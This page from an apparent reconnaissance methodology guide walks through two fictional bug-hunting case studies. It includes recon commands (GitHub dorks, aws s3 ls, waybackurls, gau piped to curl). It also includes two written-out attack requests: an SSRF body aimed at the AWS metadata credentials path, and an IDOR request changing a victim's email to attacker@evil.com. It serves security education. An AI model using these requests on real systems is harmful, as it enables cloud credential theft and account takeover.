Recon Case Studies¶

Theory and tools matter, but seeing how recon techniques chain together in real scenarios teaches you the most. These case studies (based on common vulnerability patterns) show how one piece of info from recon can lead to major compromise.

Case Study 1: From Public Code to Cloud Compromise¶

This case study demonstrates how a seemingly harmless piece of information in a public code repository can be the starting point for a full cloud infrastructure takeover.

Background¶

• Target: A mid-sized tech company, "InnovateSolutions," that heavily uses AWS for its infrastructure.
• Objective: Gain initial access to InnovateSolutions' internal environment.

The Reconnaissance Chain¶

1. Code Repository OSINT: - The researcher starts by searching GitHub for the organization InnovateSolutions. - Using the Code Repositories OSINT methodology, they begin looking for secrets. A simple GitHub dork org:InnovateSolutions "s3.amazonaws.com" is used to find hardcoded S3 bucket URLs. - A commit in an old, archived repository for a mobile app contains the following JavaScript snippet:

// Temporary endpoint for beta user asset uploads
const S3_BUCKET = 'innovatesolutions-mobile-uploads-dev-01';
const S3_REGION = 'us-east-1';

2. Cloud Asset Discovery: - The researcher has found a potential S3 bucket name. They now need to verify its existence and permissions. - Using the AWS CLI, they test for public access, as detailed in the Cloud Assets guide.

aws s3 ls s3://innovatesolutions-mobile-uploads-dev-01 --no-sign-request

3. Pivoting with Subdomain Enumeration: - The bucket name itself (innovatesolutions-mobile-uploads-dev-01) provides new keywords for enumeration: mobile, uploads, dev. - The researcher uses subfinder and amass with a custom wordlist including these new keywords to perform a deeper Subdomain Enumeration. - A new subdomain is discovered: mobile-dev-api.innovatesolutions.com.

4. Service Fingerprinting and Vulnerability Analysis: - A Port Scan on mobile-dev-api.innovatesolutions.com reveals that port 80 is open. - Browsing to the IP address shows an old, unlinked API documentation page. The page describes a file upload endpoint /api/v1/upload. - The documentation mentions that the API uses AWS credentials configured on the server to place files into the S3 bucket. The vulnerability hypothesis is server side Request Forgery (SSRF) in the API, which could be used to access the AWS metadata service.

Exploitation¶

1. The researcher crafts a request to the upload endpoint, but instead of providing a legitimate file, they try to exploit a feature that fetches a file from a URL.
2. They point the URL to the AWS metadata service, which is a special IP address (169.254.169.254) accessible from within an EC2 instance.

   POST /api/v1/upload HTTP/1.1
   Host: mobile-dev-api.innovatesolutions.com
   Content-Type: application/json
   
   {
     "file_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role"
   }
   

3. The vulnerable server fetches the content from the internal metadata service and returns it in the response. The response contains temporary AWS AccessKeyId, SecretAccessKey, and Token.

Impact¶

The stolen AWS credentials belong to an IAM role with excessive permissions, allowing the researcher to: - List and read files from dozens of S3 buckets, including customer data and backups. - Describe EC2 instances, revealing the internal network architecture. - Gain access to other AWS services, leading to a full compromise of the company's cloud environment.

Key Takeaways¶

• Recon is iterative. A small finding from one technique (GitHub) becomes the input for another (Subdomain Enumeration).
• Secrets in code are a critical entry point, even if they don't work directly. They reveal naming conventions and internal services.
• An "Access Denied" message is still a valuable piece of information.

Case Study 2: Chaining DNS, Archives, and JS Analysis¶

This scenario shows how historical data and client-side code can reveal a critical vulnerability in a modern single-page application (SPA).

Background¶

• Target: A financial services company, "SecureBank," with a modern web application built on React.
• Objective: Find a vulnerability that could lead to customer account takeover.

The Reconnaissance Chain¶

1. Subdomain Enumeration: - The researcher starts with broad Subdomain Enumeration using amass and subfinder. - Among the hundreds of subdomains, one stands out: old-api-docs.securebank.com.

2. Archive Analysis: - The subdomain old-api-docs.securebank.com now returns a 404 error. - The researcher uses waybackurls to see if this subdomain was ever captured by the Wayback Machine, as per the Archive Analysis guide.

echo "old-api-docs.securebank.com" | waybackurls

3. JavaScript Analysis: - The researcher now focuses on the main application at app.securebank.com. It's a complex React application, so they begin a deep dive into its JavaScript files. - Following the JS Analysis methodology, they use gau to find all JS files and then grep for API paths.

gau --subs app.securebank.com | grep '\.js' | xargs -n1 -I{} curl -s {} | grep -E 'api/|/v[0-9]'

// TODO: Fully deprecate v1 user update endpoint after Q4
// function updateUserV1(data) {
//   return api.put("/api/v1/users/" + data.id, data);
// }

4. Hypothesis: IDOR on an Unlinked API Endpoint - The researcher now has two key pieces of information: 1. An old API endpoint PUT /api/v1/users/{userId} exists. 2. The frontend code confirms this endpoint might still be active. - The hypothesis is that this old, forgotten v1 endpoint might lack the proper authorization checks present in the v2 API, making it vulnerable to an Insecure Direct Object Reference (IDOR).

Exploitation¶

1. The researcher logs into their own account on app.securebank.com and captures their user ID (e.g., 5543).
2. They log into a second, attacker-controlled account and get its session cookie.
3. Using the attacker's cookie, they craft a direct request to the forgotten v1 endpoint, but use the victim's user ID (5543).

   PUT /api/v1/users/5543 HTTP/1.1
   Host: app.securebank.com
   Cookie: session=ATTACKER_SESSION_COOKIE
   Content-Type: application/json
   
   {
     "email": "attacker@evil.com"
   }
   

4. The server responds with 200 OK. The v1 endpoint, lacking proper authorization checks, allowed the request. The email address for the victim's account has been changed, allowing the attacker to initiate a password reset and take over the account.

Impact¶

A forgotten API endpoint, discoverable only through a combination of historical and client-side reconnaissance, led to a critical account takeover vulnerability.

Key Takeaways¶

• Don't ignore "dead" subdomains. Always check them against web archives.
• JavaScript comments and dead code can provide critical clues about application logic and history.
• Combining findings from multiple recon techniques is often necessary to build a full picture of a potential vulnerability.